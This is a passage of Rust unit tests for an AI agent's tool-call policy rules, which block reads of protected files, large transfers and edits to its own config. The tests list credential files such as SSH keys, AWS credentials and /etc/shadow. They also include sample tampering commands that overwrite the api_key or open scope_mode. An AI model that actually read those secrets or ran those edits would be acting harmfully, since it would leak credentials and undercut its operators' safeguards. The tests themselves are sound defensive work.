1198 tool_allowed_paths: vec![],
1199 sandbox_required: false,
1200 };
1201 let rule = PathProtectionRule::from_config(&cfg);
1202 assert!(!rule.workspace_only);
1203 assert_eq!(rule.protected.len(), 3);
1204 assert!(rule.protected.contains(&"custom.pem".to_string()));
1205
1206 let ctx = PolicyContext {
1207 authority: InputAuthority::Creator,
1208 survival_tier: SurvivalTier::Normal,
1209 claim: None,
1210 };
1211
1212 let custom = ToolCallRequest {
1213 tool_name: "read_file".into(),
1214 params: serde_json::json!({ "path": "deploy/custom.pem" }),
1215 risk_level: RiskLevel::Safe,
1216 };
1217 assert!(
1218 !rule.evaluate(&custom, &ctx).is_allowed(),
1219 "extra_protected_paths should be merged and enforced"
1220 );
1221 }
1222
1223 #[test]
1224 fn path_protection_expanded_defaults_block_ssh_keys() {
1225 let cfg = roboticus_core::config::FilesystemSecurityConfig::default();
1226 let rule = PathProtectionRule::from_config(&cfg);
1227 let ctx = PolicyContext {
1228 authority: InputAuthority::Creator,
1229 survival_tier: SurvivalTier::Normal,
1230 claim: None,
1231 };
1232
1233 for path in [
1234 "/home/user/.ssh/id_rsa",
1235 "config/.aws/credentials",
1236 "/etc/shadow",
1237 "app/.env.production",
1238 ".gnupg/private-keys-v1.d/key",
1239 "deploy/id_ed25519",
1240 ".kube/config",
1241 "db/data.sqlite",
1242 ] {
1243 let req = ToolCallRequest {
1244 tool_name: "read_file".into(),
1245 params: serde_json::json!({ "path": path }),
1246 risk_level: RiskLevel::Safe,
1247 };
1248 assert!(
1249 !rule.evaluate(&req, &ctx).is_allowed(),
1250 "default protected paths should block '{}'",
1251 path
1252 );
1253 }
1254 }
1255
1256 #[test]
1257 fn path_protection_tool_allowed_paths_whitelist() {
1258 let (vault_base, vault_path, other_path) = if cfg!(windows) {
1259 (
1260 r"C:\Users\jmachen\Desktop\My Vault",
1261 r"C:\Users\jmachen\Desktop\My Vault\notes.md",
1262 r"C:\Users\jmachen\Documents\secret.txt",
1263 )
1264 } else {
1265 (
1266 "/Users/jmachen/Desktop/My Vault",
1267 "/Users/jmachen/Desktop/My Vault/notes.md",
1268 "/Users/jmachen/Documents/secret.txt",
1269 )
1270 };
1271 let rule = PathProtectionRule {
1272 protected: vec![],
1273 workspace_only: true,
1274 tool_allowed_paths: vec![std::path::PathBuf::from(vault_base)],
1275 };
1276 let ctx = PolicyContext {
1277 authority: InputAuthority::Creator,
1278 survival_tier: SurvivalTier::Normal,
1279 claim: None,
1280 };
1281
1282 let vault = ToolCallRequest {
1284 tool_name: "read_file".into(),
1285 params: serde_json::json!({ "path": vault_path }),
1286 risk_level: RiskLevel::Safe,
1287 };
1288 assert!(
1289 rule.evaluate(&vault, &ctx).is_allowed(),
1290 "tool_allowed_paths should whitelist configured paths"
1291 );
1292
1293 let other = ToolCallRequest {
1295 tool_name: "read_file".into(),
1296 params: serde_json::json!({ "path": other_path }),
1297 risk_level: RiskLevel::Safe,
1298 };
1299 assert!(
1300 !rule.evaluate(&other, &ctx).is_allowed(),
1301 "absolute paths not in tool_allowed_paths should still be blocked"
1302 );
1303
1304 let tmp = ToolCallRequest {
1306 tool_name: "write_file".into(),
1307 params: serde_json::json!({ "path": "/tmp/output.txt" }),
1308 risk_level: RiskLevel::Safe,
1309 };
1310 assert!(
1311 rule.evaluate(&tmp, &ctx).is_allowed(),
1312 "/tmp always allowed regardless of whitelist"
1313 );
1314 }
1315
1316 #[test]
1317 fn path_protection_from_config_includes_tool_allowed_paths() {
1318 let cfg = roboticus_core::config::FilesystemSecurityConfig {
1319 workspace_only: true,
1320 protected_paths: vec![],
1321 extra_protected_paths: vec![],
1322 script_fs_confinement: true,
1323 script_allowed_paths: vec![],
1324 tool_allowed_paths: vec![std::path::PathBuf::from("/opt/shared")],
1325 sandbox_required: false,
1326 };
1327 let rule = PathProtectionRule::from_config(&cfg);
1328 assert_eq!(rule.tool_allowed_paths.len(), 1);
1329 assert_eq!(
1330 rule.tool_allowed_paths[0],
1331 std::path::PathBuf::from("/opt/shared")
1332 );
1333 }
1334
1335 #[test]
1336 fn financial_rule_blocks_float_amount() {
1337 let rule = FinancialRule::new(100.0);
1339 let ctx = PolicyContext {
1340 authority: InputAuthority::Creator,
1341 survival_tier: SurvivalTier::Normal,
1342 claim: None,
1343 };
1344
1345 let float_high = ToolCallRequest {
1346 tool_name: "transfer".into(),
1347 params: serde_json::json!({ "amount": 150.50 }),
1348 risk_level: RiskLevel::Safe,
1349 };
1350 assert!(
1351 !rule.evaluate(&float_high, &ctx).is_allowed(),
1352 "float amount $150.50 should be blocked by $100 threshold"
1353 );
1354
1355 let float_low = ToolCallRequest {
1356 tool_name: "send".into(),
1357 params: serde_json::json!({ "amount": 50.0 }),
1358 risk_level: RiskLevel::Safe,
1359 };
1360 assert!(
1361 rule.evaluate(&float_low, &ctx).is_allowed(),
1362 "float amount $50.00 should be allowed under $100 threshold"
1363 );
1364
1365 let int_high = ToolCallRequest {
1367 tool_name: "transfer".into(),
1368 params: serde_json::json!({ "amount": 150 }),
1369 risk_level: RiskLevel::Safe,
1370 };
1371 assert!(
1372 !rule.evaluate(&int_high, &ctx).is_allowed(),
1373 "integer amount $150 should be blocked by $100 threshold"
1374 );
1375 }
1376
1377 #[test]
1380 fn config_protection_blocks_scope_mode_in_config_file() {
1381 let rule = ConfigProtectionRule::default();
1382 let ctx = PolicyContext {
1383 authority: InputAuthority::Creator,
1384 survival_tier: SurvivalTier::Normal,
1385 claim: None,
1386 };
1387 let req = ToolCallRequest {
1388 tool_name: "write_file".into(),
1389 params: serde_json::json!({
1390 "path": "/home/user/.roboticus/roboticus.toml",
1391 "content": "scope_mode = \"open\""
1392 }),
1393 risk_level: RiskLevel::Dangerous,
1394 };
1395 let decision = rule.evaluate(&req, &ctx);
1396 assert!(!decision.is_allowed());
1397 if let PolicyDecision::Deny { rule: r, reason } = &decision {
1398 assert_eq!(r, "config_protection");
1399 assert!(reason.contains("scope_mode"));
1400 }
1401 }
1402
1403 #[test]
1404 fn config_protection_allows_non_config_file() {
1405 let rule = ConfigProtectionRule::default();
1406 let ctx = PolicyContext {
1407 authority: InputAuthority::Creator,
1408 survival_tier: SurvivalTier::Normal,
1409 claim: None,
1410 };
1411 let req = ToolCallRequest {
1412 tool_name: "write_file".into(),
1413 params: serde_json::json!({
1414 "path": "/tmp/notes.txt",
1415 "content": "scope_mode = \"open\""
1416 }),
1417 risk_level: RiskLevel::Safe,
1418 };
1419 assert!(rule.evaluate(&req, &ctx).is_allowed());
1420 }
1421
1422 #[test]
1423 fn config_protection_blocks_bash_modifying_api_key() {
1424 let rule = ConfigProtectionRule::default();
1425 let ctx = PolicyContext {
1426 authority: InputAuthority::Creator,
1427 survival_tier: SurvivalTier::Normal,
1428 claim: None,
1429 };
1430 let req = ToolCallRequest {
1431 tool_name: "bash".into(),
1432 params: serde_json::json!({
1433 "command": "sed -i 's/api_key.*/api_key = \"stolen\"/' roboticus.toml"
1434 }),
1435 risk_level: RiskLevel::Dangerous,
1436 };
1437 assert!(!rule.evaluate(&req, &ctx).is_allowed());
1438 }
1439
1440 #[test]
1441 fn config_protection_allows_non_write_tools() {
1442 let rule = ConfigProtectionRule::default();
1443 let ctx = PolicyContext {
1444 authority: InputAuthority::Creator,
1445 survival_tier: SurvivalTier::Normal,
1446 claim: None,
1447 };
1448 let req = ToolCallRequest {
1449 tool_name: "read_file".into(),
1450 params: serde_json::json!({
1451 "path": "roboticus.toml"
1452 }),
1453 risk_level: RiskLevel::Safe,
1454 };
1455 assert!(rule.evaluate(&req, &ctx).is_allowed());
1456 }
1457
1458 #[test]
1459 fn config_protection_allows_safe_config_edits() {
1460 let rule = ConfigProtectionRule::default();
1461 let ctx = PolicyContext {
1462 authority: InputAuthority::Creator,
1463 survival_tier: SurvivalTier::Normal,
1464 claim: None,
1465 };
1466 let req = ToolCallRequest {
1467 tool_name: "write_file".into(),
1468 params: serde_json::json!({
1469 "path": "roboticus.toml",
1470 "content": "log_level = \"debug\""
1471 }),
1472 risk_level: RiskLevel::Dangerous,
1473 };
1474 assert!(
1475 rule.evaluate(&req, &ctx).is_allowed(),
1476 "non-sensitive config fields should be allowed"
1477 );
1478 }
1479}